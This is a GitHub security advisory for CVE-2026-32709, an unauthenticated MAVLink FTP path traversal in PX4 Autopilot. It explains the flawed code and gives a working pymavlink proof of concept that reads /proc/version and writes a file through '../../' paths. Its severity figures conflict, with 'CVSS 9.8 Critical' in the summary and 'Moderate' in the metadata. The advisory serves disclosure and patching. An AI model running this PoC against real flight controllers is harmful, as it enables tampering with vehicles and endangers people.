Skip to content

PX4 Autopilot MAVLink FTP Unauthenticated Path Traversal (Arbitrary File Read/Write/Delete)

Moderate
mrpollo published GHSA-fh32-qxj9-x32f Mar 13, 2026

Package

PX4/PX4-Autopilot (Other)

Affected versions

<= 1.17.0-rc1

Patched versions

1.17.0-rc2

Description

Summary

An unauthenticated path traversal vulnerability in the PX4 Autopilot MAVLink FTP implementation allows any MAVLink peer to read, write, create, delete, and rename arbitrary files on the flight controller filesystem without authentication. On NuttX targets, the FTP root directory is an empty string, meaning attacker-supplied paths are passed directly to filesystem syscalls with no prefix or sanitization for read operations. On POSIX targets (Linux companion computers, SITL), the write-path validation function unconditionally returns true, providing no protection. A TOCTOU race condition in the write validation on NuttX further allows bypassing the only existing guard. CVSS 9.8 Critical.

Details

The vulnerability exists in multiple interacting components of src/modules/mavlink/mavlink_ftp.cpp and src/modules/mavlink/mavlink_ftp.h.

1. Empty root directory on NuttX (mavlink_ftp.h:202-209)

The FTP root directory is set to PX4_ROOTFSDIR, which on NuttX is defined as "" (empty string) in platforms/common/include/px4_platform_common/defines.h:66:

// mavlink_ftp.h:207
static constexpr const char _root_dir[] = PX4_ROOTFSDIR;  // "" on NuttX
static constexpr const int _root_dir_len = sizeof(_root_dir) - 1;  // 0

The developers acknowledge this in a source code comment at mavlink_ftp.h:203:

// Note that requests can still fall outside of the root dir by using ../..

2. No path validation on read operations (mavlink_ftp.cpp:361-500, 502-553)

The read-path operations (_workList, _workOpen with O_RDONLY, _workRead, _workBurst, _workCalcFileCRC32) never call _validatePathIsWritable. They call only _constructPath, which prepends the (empty) root directory and does no canonicalization or traversal filtering:

// mavlink_ftp.cpp:504-536 -- _workOpen: NO path validation for ANY open mode
MavlinkFTP::ErrorCode
MavlinkFTP::_workOpen(PayloadHeader *payload, int oflag)
{
    if (_session_info.fd >= 0) {
        return kErrNoSessionsAvailable;
    }
    _constructPath(_work_buffer1, _work_buffer1_len, _data_as_cstring(payload));
    // ... no _validatePathIsWritable call ...
    int fd = ::open(_work_buffer1, oflag, PX4_O_MODE_666);  // Opens attacker-controlled path
}

3. Write validation disabled on POSIX (mavlink_ftp.cpp:1150-1164)

The _validatePathIsWritable function is compiled out on all non-NuttX platforms:

bool MavlinkFTP::_validatePathIsWritable(const char *path)
{
#ifdef __PX4_NUTTX
    if (strncmp(path, CONFIG_BOARD_ROOT_PATH "/", 12) != 0 || strstr(path, "/../") != nullptr) {
        return false;
    }
#endif
    return true;  // <-- Unconditionally returns true on POSIX (Linux, macOS)
}

4. TOCTOU bypass of NuttX write validation (mavlink_ftp.cpp:511, 623, 363)

On NuttX, write validation occurs in _workWrite (line 623) but NOT in _workOpen (line 511). Both share _work_buffer1, which is overwritten by any intervening operation such as _workList (line 363). An attacker can:

  1. kCmdCreateFile with malicious path -> _workOpen creates file at attacker path (no validation), stores path in _work_buffer1
  2. kCmdListDirectory with safe path -> _workList overwrites _work_buffer1 with safe path
  3. kCmdWriteFile -> _workWrite validates _work_buffer1 (safe path) -> passes -> writes to malicious fd from step 1

5. No authentication (mavlink_ftp.cpp:135-136)

The FTP handler accepts messages from any system with matching or broadcast (0) target IDs:

if ((ftp_request.target_system == _getServerSystemId() || ftp_request.target_system == 0) &&
    (ftp_request.target_component == _getServerComponentId() || ftp_request.target_component == 0)) {
    _process_request(&ftp_request, msg->sysid, msg->compid);
}

PoC

Prerequisites:

  • MAVLink communication channel to a PX4 flight controller (serial/USB/UDP/TCP)
  • A MAVLink-capable tool such as pymavlink

Reproducing arbitrary file read on NuttX:

from pymavlink import mavutil
import struct, time

# Connect to PX4 (adjust connection string)
mav = mavutil.mavlink_connection('udp:127.0.0.1:14540')
mav.wait_heartbeat()

TARGET_SYSTEM = mav.target_system
TARGET_COMPONENT = mav.target_component

def make_payload(seq, session, opcode, size, req_opcode, burst_complete, padding, offset, data=b''):
    header = struct.pack('<HBBBBBxI', seq, session, opcode, size, req_opcode, burst_complete, offset)
    return header + data

# Step 1: List root filesystem (NuttX: root_dir is "")
# kCmdListDirectory = 3
path = b'/fs\x00'
payload = make_payload(seq=0, session=0, opcode=3, size=len(path),
                       req_opcode=0, burst_complete=0, padding=0, offset=0, data=path)

ftp_msg = bytearray(251)
ftp_msg[:len(payload)] = payload

mav.mav.file_transfer_protocol_send(0, TARGET_SYSTEM, TARGET_COMPONENT, ftp_msg)
time.sleep(1)

# Step 2: Open /proc/version for reading (kCmdOpenFileRO = 4)
path = b'/proc/version\x00'
payload = make_payload(seq=1, session=0, opcode=4, size=len(path),
                       req_opcode=0, burst_complete=0, padding=0, offset=0, data=path)

ftp_msg = bytearray(251)
ftp_msg[:len(payload)] = payload

mav.mav.file_transfer_protocol_send(0, TARGET_SYSTEM, TARGET_COMPONENT, ftp_msg)
time.sleep(1)

# Step 3: Read file contents (kCmdReadFile = 5)
payload = make_payload(seq=2, session=0, opcode=5, size=239,
                       req_opcode=0, burst_complete=0, padding=0, offset=0)

ftp_msg = bytearray(251)
ftp_msg[:len(payload)] = payload

mav.mav.file_transfer_protocol_send(0, TARGET_SYSTEM, TARGET_COMPONENT, ftp_msg)

# Receive and print response
while True:
    msg = mav.recv_match(type='FILE_TRANSFER_PROTOCOL', blocking=True, timeout=5)
    if msg is None:
        break
    resp_payload = bytes(msg.payload)
    opcode = resp_payload[3]
    if opcode == 128:  # kRspAck
        size = resp_payload[4]
        data = resp_payload[12:12+size]
        print(f"Read {size} bytes: {data}")
        break
    elif opcode == 129:  # kRspNak
        print(f"NAK error: {resp_payload[12]}")
        break

Reproducing arbitrary file write on POSIX (SITL/companion):

# Step 1: Create file outside root using path traversal
# kCmdCreateFile = 6
path = b'../../tmp/pwned\x00'
payload = make_payload(seq=0, session=0, opcode=6, size=len(path),
                       req_opcode=0, burst_complete=0, padding=0, offset=0, data=path)
ftp_msg = bytearray(251)
ftp_msg[:len(payload)] = payload
mav.mav.file_transfer_protocol_send(0, TARGET_SYSTEM, TARGET_COMPONENT, ftp_msg)
time.sleep(0.5)

# Step 2: Write data (kCmdWriteFile = 7)
data = b'EXPLOITED\x00'
payload = make_payload(seq=1, session=0, opcode=7, size=len(data),
                       req_opcode=0, burst_complete=0, padding=0, offset=0, data=data)
ftp_msg = bytearray(251)
ftp_msg[:len(payload)] = payload
mav.mav.file_transfer_protocol_send(0, TARGET_SYSTEM, TARGET_COMPONENT, ftp_msg)
# File /tmp/pwned is now created with content "EXPLOITED"

Impact

This is an unauthenticated arbitrary file read/write/delete vulnerability affecting all PX4 Autopilot deployments that expose a MAVLink interface (which is virtually all of them).

Who is impacted:

  • All PX4 vehicles with any MAVLink link (telemetry radio, USB, WiFi, cellular, companion computer)
  • Operators of drones, fixed-wing aircraft, VTOL, rovers, and submarines running PX4

What an attacker can do:

  • Read any file on the flight controller (configuration, logs, cryptographic keys, parameters)
  • Write/create arbitrary files (plant malicious scripts, modify configuration, overwrite firmware)
  • Delete files (remove logs to cover tracks, corrupt filesystem to cause crashes)
  • Exfiltrate mission plans, geofence configurations, and flight logs containing GPS tracks
  • Overwrite parameter files to alter vehicle behavior (disable safety checks, change geofences)

Physical safety impact: Modifying configuration files or parameters could cause loss of vehicle control, crashes, or override geofence boundaries in populated areas.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Adjacent
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

CVE ID

CVE-2026-32709

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Credits